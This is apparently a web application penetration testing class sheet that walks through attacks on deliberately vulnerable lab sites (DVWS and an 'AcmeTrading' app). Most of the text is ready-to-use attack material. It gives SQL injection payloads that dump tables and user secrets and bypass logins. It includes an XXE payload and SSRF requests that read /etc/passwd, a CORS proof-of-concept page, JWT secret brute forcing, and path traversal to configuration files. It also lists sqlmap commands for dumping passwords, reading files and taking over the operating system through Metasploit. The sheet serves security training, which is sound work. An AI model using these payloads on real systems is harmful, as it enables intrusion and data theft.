- Cookie information disclosed
- To understand better with XST, please read the article Penetration Testing with OWASP Top 10 - 2017 A7 Cross-Site Scripting (XSS).
- ##########################
- # REST API SQL Injection #
- ##########################
- Use Firefox to browse to the following location:
- ---------------------------Type This-------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/
- -------------------------------------------------------------------------------------
- ---------------------------Type This----------
- 2 or 1=1
- ---------------------------------------------
- Use Firefox to browse to the following location:
- ---------------------------Type This-------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2%20or%201=1
- -------------------------------------------------------------------------------------
- Extract Information
- ---------------------------Type This----------
- 2 UNION SELECT 1,2
- 2 UNION SELECT database(),@@datadir
- ----------------------------------------------
- Use Firefox to browse to the following location:
- ---------------------------Type This------------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 UNION SELECT 1,2
- ------------------------------------------------------------------------------------------
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 UNION SELECT database(),@@datadir
- -----------------------------------------------------------------------------------------------------------
- Extract Table Name
- 2 union select group_concat(table_name),database() from information_schema.tables where table_schema = 'dvws'--
- Use Firefox to browse to the following location:
- ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 union select group_concat(table_name),database() from information_schema.tables where table_schema = 'dvws'--
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- Extract Column Name
- 2 union select group_concat(column_name),database() from information_schema.columns where table_schema='dvws' and table_name
- Use Firefox to browse to the following location:
- ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 union select group_concat(column_name),database() from information_schema.columns where table_schema='dvws' and table_name
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- Dump Data From Extracted Table and Column Names
- 2 union select id, secret from users--
- Use Firefox to browse to the following location:
- ---------------------------Type This---------------------------------------------------------------------------------------------------------------------------------------------------
- http://dvws1.infosecaddicts.com/dvws1/vulnerabilities/sqli/api.php/users/2 union select id, secret from users--
- ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
- To understand better with SQL Injection, please read the article Penetration Testing with OWASP Top 10 - 2017 A1 Injection.
- #########################
- # XML External Entity 2 #
- #########################
- Intercept request in Burp
- Use Firefox to browse to the following location:
- ---------------------------Type This------------------------
- https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xxe2/
- ------------------------------------------------------------
- In POST request to https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xxe2/server.php in Burp add this:
- <!DOCTYPE uservalue [
- <!ENTITY systemEntity SYSTEM "file:///etc/passwd" >
- ]>
- <uservalue>
- <value>&systemEntity;</value>
- </uservalue>
- Forward request in Burp
- Response will show content of /etc/passwd
- ###############################################
- # JSON Web Token (JWT) Secret Key Brute Force #
- ###############################################
- Use https://jwt.io/ to brute force secret key from https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/jwt/login_token.php
- Correct secret key of 1234567890 found!
- ########################################
- # Cross-Origin Resource Sharing (CORS) #
- ########################################
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/cors/client.php
- -----------------------------------------------------------------------
- Check if arbitrary origin trusted in Burp request
- Change Origin request header to "http://xyz.com" in Burp
- Response shows the application allows access from any domain (origin http://xyz.com)
- Response header Access-Control-Allow-Credentials: true indicates third-party sites may be able to carry out privileged actions and retrieve sensitive information.
- Content of cors-poc.html
- <html>
- <head></head>
- <body>
- <div id="secret"></div>
- <script>
- var xhttp = new XMLHttpRequest();
- xhttp.onreadystatechange = function() {
- if (this.readyState == 4 && this.status == 200) {
- document.getElementById("secret").innerHTML = this.responseText;
- }
- };
- xhttp.open("POST", "https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/cors/server.php", true);
- xhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
- xhttp.send(JSON.stringify({"searchterm":"secretword:one"}));
- </script>
- </body>
- </html>
- Open cors-poc.html
- Proof-of-concept to retrieve secret word
- ###############################
- # Server Side Request Forgery #
- ###############################
- Change in POST request:
- POST /dvws1/vulnerabilities/ssrf/server.php HTTP/1.1
- Host: dvws1.infosecaddicts.com
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
- Accept: */*
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/ssrf/
- Content-Type: text/plain;charset=UTF-8
- Content-Length: 201
- Connection: close
- Cookie: __cfduid=db125fc74e7eb982b99b18cb4f00f40b81563768114; _ga=GA1.2.1439955610.1563768117; _gid=GA1.2.128701207.1563768117; _gat=1
- <?xml version="1.0" encoding="utf-8"?>
- <methodCall>
- <methodName>examples.stringecho</methodName>
- <params>
- <param>
- <value><string>owasptop10.txt</string></value>
- </param>
- </params>
- </methodCall>
- owasptop10.txt into file:///etc/passwd
- Request:
- POST /dvws1/vulnerabilities/ssrf/server.php HTTP/1.1
- Host: dvws1.infosecaddicts.com
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
- Accept: */*
- Accept-Language: en-US,en;q=0.5
- Accept-Encoding: gzip, deflate
- Referer: https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/ssrf/
- Content-Type: text/plain;charset=UTF-8
- Content-Length: 205
- Connection: close
- Cookie: __cfduid=db125fc74e7eb982b99b18cb4f00f40b81563768114; _ga=GA1.2.1439955610.1563768117; _gid=GA1.2.128701207.1563768117; _gat=1
- <?xml version="1.0" encoding="utf-8"?>
- <methodCall>
- <methodName>examples.stringecho</methodName>
- <params>
- <param>
- <value><string>file:///etc/passwd</string></value>
- </param>
- </params>
- </methodCall>
- ###########################
- ----------- ############### # Day 5: Having some fun ############### -----------
- ###########################
- http://10.80.46.91/AcmeTrading/
- In the search box enter:
- '
- <script>alert(123);</script>
- OK, so you found a simple XSS on the homepage, but there is more to find.
- Still in the search box in the top right of the homepage try this:
- '
- You'll see that inserting a single quote (') causes a RUNTIME Web.Config Configuration File error. This is a security measure.
- So let's see if we can mess with it.
- ############################
- # Attacking the Search Box #
- ############################
- ' order by 100--
- ' order by 50--
- ' order by 25--
- ' order by 12--
- ' order by 6-- (got a valid page here)
- ' order by 10--
- ' order by 8--
- ' order by 7--
- ' union all select 1--
- ' union all select 1,2--
- ' union all select 1,2,3--
- ' union all select 1,2,3,4--
- ' union all select 1,2,3,4,5--
- ' union all select 1,2,3,4,5,6--
- Ok, so we figured out that the backend query has 6 columns.
- (view source on this page)
- cd sqlmap-dev/
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" -b
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --current-user
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --dbs
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" -D acmetrading --tables
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" -D acmetrading --users --passwords
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --tables -v 3
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --file-read=c:\boot.ini
- python sqlmap.py -u "http://10.80.46.91/AcmeTrading/Searchresult.aspx?ScriptName=hello" --os-pwn --msf-path=/home/hca/toolz/metasploit/
- #########################
- # Attacking the Inquiry #
- #########################
- Joe McCray
- 1234567890
- joe@strategicsec.com') waitfor delay '00:00:10'--
- #################################
- # Attacking the Contact Us page #
- #################################
- Burp Suite (change the request to):
- http://10.80.46.91/AcmeTrading/OpenPage.aspx?filename=../../../../boot.ini
- http://10.80.46.91/AcmeTrading/OpenPage.aspx?filename=../../../../../../windows/win.ini (depending on the system this may or may not work)
- http://10.80.46.91/AcmeTrading/OpenPage.aspx?filename=web.config
- ###########################
- # Attacking the Login Box #
- ###########################
- ' or 1=1 or ''='
- anything
- ###############################
- # Post Authentication Attacks #
- ###############################
- Burp Suite: (notice 2 session IDs)
- AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
- IsAdmin=yes;
- ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
- Profile - Detail (tamper data)
- Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
- joe|set
- joe' or 1=1 or ''='
Add Comment
Please, Sign In to add comment